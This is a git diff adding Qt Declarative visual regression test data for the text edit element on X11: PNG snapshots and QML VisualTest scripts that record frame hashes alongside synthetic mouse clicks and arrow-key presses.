diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
new file mode 100644
index 00000000..7d612bf2
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
new file mode 100644
index 00000000..8c7e3808
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/linkActivated.qml
@@ -0,0 +1,191 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "linkActivated.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 48
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 64
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 80
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 96
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 112
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 128
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 144
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 160
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 176
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 192
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 208
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 224
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 240
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Frame {
+ msec: 256
+ hash: "53d97d0966197ea41364511dea13752f"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 13
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 272
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 288
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Frame {
+ msec: 304
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 11
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 320
+ hash: "9482227cbc77e9083218c1452e8644d8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 23; y: 10
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 336
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 352
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 368
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 384
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 400
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 416
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 432
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 448
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 464
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 480
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 496
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 512
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 528
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 544
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 560
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 576
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 592
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+ Frame {
+ msec: 608
+ hash: "29c47cec5d015e6cab0762c3db0fa714"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.0.png
new file mode 100644
index 00000000..59fc0fc4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.1.png
new file mode 100644
index 00000000..2747b508
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.2.png
new file mode 100644
index 00000000..74efe73b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.3.png
new file mode 100644
index 00000000..02f6e17b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.4.png
new file mode 100644
index 00000000..59fc0fc4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.qml
new file mode 100644
index 00000000..a4ba005c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-X11/qt-669.qml
@@ -0,0 +1,1371 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "qt-669.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 48
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 64
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 80
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 96
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 112
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 128
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 144
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 160
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 176
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 192
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 208
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 224
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 240
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 256
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 272
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 288
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 304
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 320
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 336
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 352
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 368
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Frame {
+ msec: 384
+ hash: "80122e3e0d124c01b2769c1c88aa4a13"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 400
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 416
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 432
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 448
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 464
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 480
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 496
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 512
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 528
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 560
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 576
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 592
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 608
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 624
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 640
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 656
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 672
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 704
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 720
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 736
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 752
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 768
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 784
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 800
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 816
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 832
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 848
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 864
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 880
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 896
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 912
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 928
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 944
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 960
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 976
+ image: "qt-669.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 1008
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1024
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 1040
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 1056
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 1072
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 1088
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1104
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1120
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1136
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1152
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1168
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1184
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1200
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 1216
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1232
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1248
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1264
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1280
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1296
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1312
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1328
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 1344
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1376
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1392
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1408
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1424
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1440
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1456
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1472
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1488
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Key {
+ type: 6
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1504
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1520
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1536
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Key {
+ type: 7
+ key: 16777236
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1552
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1568
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1584
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1600
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1616
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1632
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1648
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1664
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1680
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1696
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1712
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1728
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1744
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1760
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1776
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1792
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1808
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1824
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Frame {
+ msec: 1840
+ hash: "da047993eb77afffee6b8f0f210ca2d6"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1856
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1872
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1888
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1904
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1920
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1936
+ image: "qt-669.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1968
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 1984
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2000
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 2016
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 2032
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 2048
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Frame {
+ msec: 2064
+ hash: "6f08f7b6337d5ebb305579bb71ba31d8"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2096
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2112
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2128
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2144
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2160
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2176
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2192
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2208
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Frame {
+ msec: 2224
+ hash: "b80db720c6371aeaf99f4787fec2c5a3"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2240
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 2256
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2272
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 2288
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 2304
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 2320
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Frame {
+ msec: 2336
+ hash: "c8b5e39f4930399527236905cdbcb546"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2352
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2368
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2384
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2416
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2432
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2448
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2464
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2480
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2496
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2512
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2528
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2544
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2560
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2576
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Frame {
+ msec: 2592
+ hash: "3624b85c9362dfeff911cd5426f11ada"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2608
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2624
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2640
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2656
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2672
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2688
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2704
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2720
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2736
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Frame {
+ msec: 2752
+ hash: "fa22742b8778a3b63ce7d6699dbf7482"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 2784
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 2800
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2816
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 2832
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 2848
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Frame {
+ msec: 2864
+ hash: "b069c174a1b9589ed3137cd01f870b17"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2880
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 2896
+ image: "qt-669.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 2928
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2944
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 2960
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 2976
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 2992
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Frame {
+ msec: 3008
+ hash: "53f9d63bacad27fd73c2f84b82599dbc"
+ }
+ Key {
+ type: 6
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3024
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3040
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3056
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3072
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3088
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Key {
+ type: 7
+ key: 16777234
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3104
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3120
+ hash: "9294b20b7160322e1f2eecaee6ebf856"
+ }
+ Frame {
+ msec: 3136
